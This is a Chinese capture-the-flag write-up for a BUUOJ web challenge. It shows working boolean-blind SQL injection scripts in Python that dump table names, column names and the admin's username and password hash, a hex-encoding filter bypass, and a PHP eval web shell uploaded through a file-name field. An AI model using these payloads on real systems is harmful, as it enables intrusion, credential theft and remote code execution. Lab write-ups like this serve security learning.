首先开局登入
我们开始目录扫描
扫除 robots.txt
现在只有三个文件
最后发现 只有 image.php.bak存在
这里主要的地方是 \\0
因为第一个\会被转义
这里就会变为 \0
表示空白
那我们sql语句就会变为了
select * from images where id='\0'
但是这里我们不可以使用 \\
因为输入\\
会变为 \
我们是需要空字符
所以我们需要 \\0
绕过
所以最后我们 然后 后面的path 就变为了可控了
path=' or 1=1-- +
path=' or 1=2-- +
这里显然是盲注了
写个脚本
import time
import requests
baseurl = r"""http://3b01fafd-601d-4401-ab14-0a966f1c0151.node4.buuoj.cn:81/image.php?id=\\0&path="""
flag=''
for i in range(1000):
for j in range(127):
payload = "or 1 = if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{},1))={},1,-1)-- +".format(i,j)
req=requests.get(url=baseurl+payload)
if req.status_code == 429:
time.sleep(0.5)
if "JFIF" in req.text:
flag += chr(j)
print(flag)
可以爆出为
images,users
但是这里注意
爆列名的时候 因为 'users' 会给过滤 所以我们要通过16进制来实现
users-->0x7573657273
import time
import requests
base_url=r"http://3b01fafd-601d-4401-ab14-0a966f1c0151.node4.buuoj.cn:81/image.php?id=\\0&path="
data=''
#下面的payload需要使用 > 号 而不是 =
payload="or 1 = if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=0x7573657273),{},1))>{},1,-1)-- +"
for i in range(1,10000):
low = 32
high = 128
mid =(low + high) // 2
while(low < high):
payload1=payload.format(i,mid)
r = requests.get(url=base_url+payload1)
if "JFIF" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 132):
break
data+=chr(mid)
print(data)
上面是二分法 快点
username,password
继续爆数据
import time
import requests
base_url=r"http://3b01fafd-601d-4401-ab14-0a966f1c0151.node4.buuoj.cn:81/image.php?id=\\0&path="
data=''
#下面的payload需要使用 > 号 而不是 =
payload="or 1 = if(ascii(substr((select group_concat(username,password)from users),{},1))>{},1,-1)-- +"
for i in range(1,10000):
low = 32
high = 128
mid =(low + high) // 2
while(low < high):
payload1=payload.format(i,mid)
r = requests.get(url=base_url+payload1)
if "JFIF" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 132):
break
data+=chr(mid)
print(data)
admin
4548f7af4fe91b7ff349
然后我们登录
随便传递一个
成功了 我们直接上传木马吧
成功了
但是去访问发现不是
这里是文件名 那我们从文件名注入吧
Content-Disposition: form-data; name="file"; filename="1.jpg"
修改 filename为木马
Content-Disposition: form-data; name="file"; filename="<?php @eval($_POST['hack']); ?>"
过滤了 换短标签看看
Content-Disposition: form-data; name="file"; filename="<?= @eval($_POST['hack']); ?>"
访问一下
成功了 链接一下